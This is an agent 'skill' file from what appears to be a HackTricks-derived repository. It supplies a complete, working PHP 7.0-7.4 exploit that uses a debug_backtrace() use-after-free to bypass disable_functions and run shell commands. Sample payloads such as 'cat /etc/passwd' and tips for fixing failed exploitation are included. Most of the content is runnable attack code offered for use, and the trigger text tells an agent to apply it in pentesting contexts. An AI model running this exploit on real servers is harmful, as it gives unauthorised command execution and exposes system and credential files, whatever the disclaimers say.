Hacktricks-skills php-disable-functions-bypass

Bypass PHP disable_functions restriction using the debug_backtrace() UAF vulnerability (PHP 7.0-7.4, *nix only). Use this skill when you need to execute system commands in PHP environments where functions like system(), exec(), shell_exec() are disabled. This is for authorized security testing and penetration testing only. Trigger this skill when the user mentions PHP disable_functions bypass, PHP UAF exploitation, PHP 7.x command execution, or any scenario involving restricted PHP function execution in a pentesting context.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-7.0-7.4-nix-only/SKILL.MD
source content

PHP disable_functions Bypass (PHP 7.0-7.4, *nix only)

Overview

This skill provides a method to bypass PHP's

disable_functions
configuration directive using a Use-After-Free (UAF) vulnerability in
debug_backtrace()
. This affects PHP versions 7.0 through 7.4 on *nix systems.

⚠️ SECURITY WARNING: This technique should only be used in authorized security testing and penetration testing scenarios. Unauthorized use may violate laws and regulations.

Vulnerability Details

How It Works

The exploit leverages a memory corruption vulnerability where

debug_backtrace()
returns a reference to a variable that has been destroyed. This allows an attacker to:

  1. Trigger a UAF condition through object destruction
  2. Leak memory addresses from the PHP heap
  3. Parse the ELF binary to find function addresses
  4. Overwrite function handlers to redirect execution to
    system()
  5. Execute arbitrary system commands

Prerequisites

Before using this bypass, verify:

  1. PHP Version: 7.0 - 7.4 (check with
    php -v
    or
    <?php phpinfo();
    )
  2. Operating System: *nix (Linux, BSD, macOS) - NOT Windows
  3. Target Functions:
    system()
    ,
    exec()
    ,
    shell_exec()
    ,
    passthru()
    , etc. are disabled
  4. Access: You have a PHP file upload or code execution vector

Usage

Basic Exploit Template

Create a PHP file with the following structure:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable
# that has been destroyed, causing a UAF vulnerability.

pwn("YOUR_COMMAND_HERE");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

Quick Test Commands

Replace

YOUR_COMMAND_HERE
with:

pwn("id");
pwn("whoami");
pwn("uname -a");
pwn("cat /etc/passwd");
pwn("ls -la /");

Common Issues and Solutions

UAF Failed

If you see "UAF failed" error:

  1. Increase allocation count: Change
    $n_alloc = 10;
    to
    $n_alloc = 20;
    or higher
  2. Check PHP version: Ensure you're on PHP 7.0-7.4
  3. *Verify nix platform: This exploit does not work on Windows

Binary Base Address Not Found

If you see "Couldn't determine binary base address":

  1. Check PHP version compatibility: Some PHP builds may have different memory layouts
  2. Try different PHP versions: The exploit works best on PHP 7.2-7.3
  3. Verify ELF parsing: The exploit assumes standard ELF format

Function Not Found

If you see "Couldn't get zif_system address":

  1. Verify function is actually disabled: Check
    phpinfo()
    output
  2. Try alternative functions: The exploit can be modified to target other disabled functions
  3. Check PHP build: Some custom PHP builds may have different function table layouts

Alternative Bypass Methods

If this exploit doesn't work, consider:

  1. PHP 5.x bypasses: Different techniques for older PHP versions
  2. PHP 8.x bypasses: Newer PHP versions require different approaches
  3. Windows-specific bypasses: Different techniques for Windows environments
  4. Other PHP vulnerabilities: File inclusion, deserialization, etc.

References

Legal Disclaimer

This skill is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing any system you do not own.